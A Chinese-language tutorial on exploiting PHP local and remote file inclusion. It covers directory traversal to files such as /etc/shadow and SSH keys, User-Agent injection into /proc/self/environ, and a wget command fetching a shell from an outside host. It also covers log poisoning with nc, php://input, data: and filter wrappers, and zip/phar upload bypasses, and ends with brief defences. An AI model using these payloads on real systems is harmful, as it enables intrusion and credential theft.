WEB-LFI与RFI利用

— 从零开始的笔记(长篇) —
— 本地文件包含&远程文件包含 —
— PHP伪协议利用&文件上传漏洞 —

emmm,从最开始的定义开始吧。

文件包含

PHP的文件包含可以直接执行被包含文件的代码,包含的文件格式是不受限制的,只要正常执行即可。
文件包含分为

  • 本地文件包含 (local file include): 包含服务器本地文件
  • 远程文件包含 (remote file include): 包含远程服务器的文件,远程文件包含要求更加苛刻,需要php_ini开启url_allow_fopen 和 url_allow_include(具体情况下面说明)

文件包含PHP函数

  • include():
  • include_once():先验证是否已经包含了文件,如果已经包含了,就不再执行
  • require():
  • require_once():先验证是否已经包含了文件,如果已经包含了,就不再执行

include(),include_once():包含文件时即使遇到错误,下面代码会依然执行
require(),require_once():包含文件时遇到错误,直接报错退出程序

此类漏洞的原理就是include的内容中有我们可控的变量,从而达成我们包含执行我们想要的文件
其造成的危害,从文件泄露,到getshell都有
下面我们分开细说LFIRFI

本地文件包含LFI

本地文件包含是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用这些地方,有多重利用方式。
先来看一个例子

1
2
3
4
<?php
$action=$_GET['action'];
include "./$action.php";
?>

以下拼接的利用方式就是最常规的利用方法


1.png

再介绍更多的利用方法

本地目录遍历

利用../来向上级遍历目录从而一层一层地访问所有文件(有权限的话)
打开mysql.php


2.png

成功

linux下的一些关键文件:

  • ../../../../../../../etc/passwd(操作系统用户信息,该文件为所有用户可见)
  • ../../../../../proc/self/environ(proc目录)
  • ../../../../../../var/log/apache2/access.log(apache日志,需要包括所有上级目录访问权限)
  • 还有其他配置文件(Web服务器配置文件,Web日志)

还有其他

ssh免密码登录的秘钥文件等
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
加密后的用户口令位置
/etc/shadow
历史命令
/root/.bash_history
/root/.mysql_history
进程文件
/proc/self/fd/fd[0-9]* (文件标识符)
检查已经被系统挂载的设备
/proc/mounts
机器的内核配置文件
/proc/config.gz
window下
C:/boot.ini  //查看系统版本
  C:/Windows/System32/inetsrv/MetaBase.xml  //IIS配置文件
  C:/Windows/repairsam  //存储系统初次安装的密码
  C:/Program Files/mysqlmy.ini  //Mysql配置
  C:/Program Files/mysql/data/mysqluser.MYD  //Mysql root
  C:/Windows/php.ini  //php配置信息
  C:/Windows/my.ini  //Mysql配置信息

再能读取一些文件的基础上有更多利用方式

/proc/self/environ

/proc文件系统:是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/environ:当前正在运行的进程的环境变量列表

linux环境下建立lfi.php

1
2
3
<?php
include($_GET['$file']);
?>

访问,查看/proc/self/environ


3.png

如图可以看到包含了HTTP头的信息
尝试改变他们


4.png

5.png

6.png

改变成功,也就是说我们可以通过HTTP头控制/proc/self/environ文件

user-agent注入

发现我们可以控制这些值后,如果写入php代码会直接执行,这个地方就形成了命令注入执行
我们选取user-agent变量向其中插入反弹shell木马


7.png

连接shell


8.png

成功

通过其他参数注入也是可以的
还可以选取<?system('wget http://aaa.com/Shells/shell.txt -O shell.php');?>来下载文件到对方服务器,直接访问木马文件等。

这个地方选取木马不能选取类似于eval($_GET['cmd'];的webshell
因为形成的语句会变为include(../../../proc/self/environ?cmd='ls')
会提示找不到该文件,从而无法包含文件

日志文件污染

日志文件污染是通过将注入目标系统的代码写入到日志文件中。
通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。

  • 找到日志文件,并且有访问和执行权限(包括所有上级目录访问和执行权限)
  • nc提交木马至对方端口,会被写入对方的日志文件
  • 包含日志文件执行代码

一般日志文件位置
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
/var/log/apache2/access.log

apache

1.前提有权访问 access.log /var/log/apache2/access.log (包括所有上级目录访问权限)
2.nc提交至对方端口

nc 1.1.1.1 80
<?php php木马 ?>
(木马写入对方日志文件)


直接访问页面写入日志文件
http://www.xxx.com/php木马(urlencode)(会被编码,用bursuite绕过编码)
也可以木马写入user-agent来写入日志文件

3.包含对方日志文件
4.url参数 &cmd=命令 执行命令

利用php://filter

利用php://filter可以读取本地文件源码
由于关系到PHP伪协议放在下面详细说明举例

包含SESSION文件

session文件格式为sess_[phpsessid],phpsessid作为cookie传递,在服务端文件位置会变化

默认位置
/tmp/(PHP Sessions)
也可能
/var/lib/php/session/(PHP Sessions)
/var/lib/php5/(PHP Sessions)
c:/windows/temp/(PHP Sessions)等文件中。

尝试读取session文件
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
在某些特定的情况下如果你能够控制session的值,也许能够获得一个shell。

包含上传文件

如果你知道上传文件在服务器放置的位置,就可以上传木马文件,然后包含木马文件,这就是文件上传漏洞+文件包含漏洞的COMBO
关于可以知道上传文件在服务器的位置的,但是上传文件后缀名等等被过滤了。可以利用上传文件有关PHP伪协议绕过,将在之后讨论

还有一种包含上传文件的tmp临时文件,因为往往上传文件会被重点防护,而临时文件不会被关注到。这种攻击方式不容易被防护,其中关键是知道临时文件路径及名称,关于这种攻击由于此文篇幅太长,另起一片叙述基于phpinfo的包含临时文件

远程文件包含 RFI

远程文件包含(RFI)紧密相关的两个php配置:
allow_url_fopen:远程文件打开
allow_url_include:远程文件包含
配置细节请查阅php核心配置

那么开始说明应用

开始前,补充。
php中fopen函数include函数区别:
fopen与include打开/包含远程文件时,对方服务器都会先解析文件然后被本地php代码 打开/包含。
区别是:
fopen是直接读取这个文件,当做一个输入流,不会在本地做解析。include会包含进入代码内,再解析执行一次。
所以include包含的文件里有木马时,可以执行。fopen打开一个包含木马的文件,不会有什么大危害,因为只是作为文本文件。

再补充本地文件包含远程文件包含的区别:
include ./shell.php;
include http://localhost/shell.php
以上两者有区别,前者为本地文件包含:如果shell.php文件中存在<?php 木马 ?>,木马会执行。但如果shell.php 中的木马是在php代码执行一遍过后,才产生的,是不会执行的。
即需要解析一遍shell.php页面,才产生木马。比如从数据库中读取了带木马的信息,嵌入到页面上。
而后者远程文件包含是前后者情况都会执行的:前者情况,会在远程访问shell.php的请求中执行。后者情况,会在远程访问结束后,把包含木马的返回内容include,再次执行。
即,本地文件包含本地文件 总共会解析一次,远程文件包含本地文件 总共会解析两次。

以下测试是在php5.2中完成。

allow_url_fopenallow_url_include都为On时

可以进行远程文件包含执行,即可以包含在自己服务器的木马,形成web-shell。
也可以使用wget之类的命令来下载木马,保存,再访问木马文件

1
2
3
4
5
6
7
8
<?php
echo 'allow_url_fopen:'.ini_get('allow_url_fopen');
echo '<br>';
echo 'allow_url_include:'.ini_get('allow_url_include');
echo '<br>';
$url=$_GET['url'];
include($url);
?>

3.png

data:输入方式

另外还有一种方法是data:
本以为data:可以在allow_url_fopen为Off时可以起作用,测试时发现不可以。应该是data:被当做allow_url_fopen禁止的一项了。

file=data:text/plain,<?php phpinfo()?>
file=data:text/plain,<?php print_r(scandir(“.”));?>
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


8.png

7.png

allow_url_fopen为On,allow_url_include不为Off时

只能进行远程文件打开,比如fopen(url)。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo 'allow_url_fopen:'.ini_get('allow_url_fopen');
echo '<br>';
echo 'allow_url_include:'.ini_get('allow_url_include');
echo '<br>';
$url=$_GET['url'];

$file=fopen($url,"r") or die("Unable to open file!");
while (!feof($file)){
$line = fgets($file,1024);
echo $line;
}
?>


4.png

allow_url_fopen为Off,allow_url_include为On时

当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件
但是可以使用 php://input、 php://stdin、 php://memory 和 php://temp等伪协议

由于php伪协议利用方式多样,我们新开一个篇章说明。但是要知道一些php伪协议的利用前提是allow_url_include为On,具体以官方文档为主

php伪协议 PHP://

先查看PHP官方说明,了解php伪协议

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
需要allow_url_include=On

1
2
3
4
5
6
7
8
<?php
echo 'allow_url_fopen:'.ini_get('allow_url_fopen');
echo '<br>';
echo 'allow_url_include:'.ini_get('allow_url_include');
echo '<br>';
$url=$_GET['url'];
include($url);#加入此处变为$url.'php' 就无法利用,%00截断测试也无效
?>


5.png

6.png

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
不需要allow_url_include=On
格式:
php://filter/read=过滤器/resource=来源
关于php://filter有很多过滤器可以使用
但是最经典的用法如下:

php://filter/convert.base64-encode/resource=index.phpread被省略

网页源码

1
2
3
4
<?php
$action=$_GET['action'];
include "$action.php";
?>

利用php://filter读取同目录下phpinfo.php


9.png

php伪协议phar:// zip://

因为这两者性质差不多,就放一起了
phar:// :PHP 归档,不受allow_url_include影响,PHP 5.3.0 起有效
zip:// :压缩流,不受allow_url_include影响
利用在文件包含漏洞+上传文件漏洞

当上传的文件不能以php结尾,被php解析的时候,可以把文件压缩成压缩包,改为.jpg结尾再上传
再通过phar:// zip://解压缩打开,使用方法如下

zip://使用

把木马文件1.php用zip压缩成1.zip,再修改后缀名为.jpg,绕过上传验证,再进行包含
/zip_phar.php?file=zip://D:/php/WWW/php_text/upfile/1.jpg%231.php
协议原型:zip://archive.zip#dir/file.txt 压缩包全路径#目录/文件
在测试中只有绝对路径可行,相对路径不行
另外在URL中需要把#编码,因为#与url协议冲突


11.jpg

测试木马为<?php echo ‘success’ ;?>


12.jpg

phar://使用

先把木马按照phar归档文件生成

1
2
3
4
5
// 把木马写入phartest.aaa的testfile.text
<?php
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
?>

测试相对路径和绝对路径都可以
/zip_phar.php?file=phar://./upfile/phartest.aaa/testfile.txt
/zip_phar.php?file=phar://D:/php/WWW/php_text/upfile/phartest.aaa/testfile.txt
13.png
14.png

解决文件包含问题

  • 白名单,限制传入参数
  • 过滤传入参数
  • 配置opendir,限制打开范围
  • 配置好allow_url_fopen,allow_url_include